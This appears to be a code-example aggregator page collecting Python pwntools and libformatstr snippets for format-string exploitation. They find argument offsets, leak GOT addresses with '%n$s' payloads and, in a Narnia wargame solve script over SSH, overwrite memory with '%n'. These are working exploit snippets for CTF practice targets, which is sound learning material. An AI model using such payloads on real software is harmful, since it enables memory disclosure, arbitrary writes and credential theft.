from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p32
from time import sleep
from libformatstr import make_pattern, guess_argnum

buf_size = 79

r = remote("127.0.0.1", 4444)

print r.recvuntil(":")
r.sendline(make_pattern(buf_size))
result = r.recvall()
print result
print "argnum:{}, padding:{}".format(*guess_argnum(result, buf_size))
Example #2
0
#context.log_level= 'debug'
io = process('./fmt')
e = ELF('./fmt')
libc = ELF('/lib32/libc.so.6')

# libformatstr应用于格式化串在栈中,使得参数也可控的情况,可以实现任意读写
# 生成pattern串判断参数在格式化串的位置 
BUF_SZ = 200  # 格式化串的长度
pat = libformatstr.make_pattern(BUF_SZ)

io.sendline(pat)
res = io.recv()
# argnum 表示第argnum个参数位于格式化串首部
# padding 表示使参数对齐需要添加的字节数 0-3
argnum, padding = libformatstr.guess_argnum(res, BUF_SZ)
log.info('argnum:%d padding:%d'%(argnum, padding))

# leak不能泄漏地址中含0x00的值
def leak(addr):
	payload = p32(addr) +"%"+str(argnum)+"$s##"
	if '\x00' in payload:
		log.warn('0x00 found in payload')
		return None
	io.sendline(payload)
	buf = io.recvuntil('##\n')
	buf = buf[4:].strip('##\n')
	log.info('%#x -> buf(%d):\n %s'%(addr, len(buf), hexdump(buf)))
	return buf

buf = leak(e.got['printf'])
Example #3
0
#context.log_level= 'debug'
io = process('./fmt')
e = ELF('./fmt')
libc = ELF('/lib32/libc.so.6')

# libformatstr应用于格式化串在栈中,使得参数也可控的情况,可以实现任意读写
# 生成pattern串判断参数在格式化串的位置
BUF_SZ = 200  # 格式化串的长度
pat = libformatstr.make_pattern(BUF_SZ)

io.sendline(pat)
res = io.recv()
# argnum 表示第argnum个参数位于格式化串首部
# padding 表示使参数对齐需要添加的字节数 0-3
argnum, padding = libformatstr.guess_argnum(res, BUF_SZ)
log.info('argnum:%d padding:%d' % (argnum, padding))


# leak不能泄漏地址中含0x00的值
def leak(addr):
    payload = p32(addr) + "%" + str(argnum) + "$s##"
    if '\x00' in payload:
        log.warn('0x00 found in payload')
        return None
    io.sendline(payload)
    buf = io.recvuntil('##\n')
    buf = buf[4:].strip('##\n')
    log.info('%#x -> buf(%d):\n %s' % (addr, len(buf), hexdump(buf)))
    return buf
Example #4
0
File: solve.py Project: yum00/CTF
password = '******'
pass_file = '/etc/narnia_pass/narnia%d' % (level + 1)
bin_path = '/narnia/%s' % bin_file
source_path = '/narnia/%s.c' % bin_file

# context.log_level = 'debug'
shell = ssh(host=host, user=user, password=password)
# Download challenge related files if not exists.
if not os.path.exists(bin_file):
    shell.download_file(bin_path)
    shell.download_file(source_path)

buf_size = 0x40
io = shell.run([bin_path, make_pattern(buf_size)])
output_buf = io.recvregex('buffer : \[([^]]+)\]', group=1)
argnum, padding = guess_argnum(output_buf, buf_size)
log.info('argnum = %d, padding = %d', argnum, padding)
addr = int(io.recvregex('i = .* \(0x([a-z0-9]+)\)', group=1), 16)
log.info('address of i: %#x', addr)
io.close()

# Here we put address at the begining to avoid finding argnum of argv[1].
# p = FormatStr()
# p[addr] = 500
# payload = p.payload(argnum, padding)
payload = p32(addr)
payload += '%{count}c%{pos}$n'.format(count=500 - len(payload), pos=argnum)
payload = ljust(payload, buf_size)
io = shell.run([bin_path, payload])
io.clean()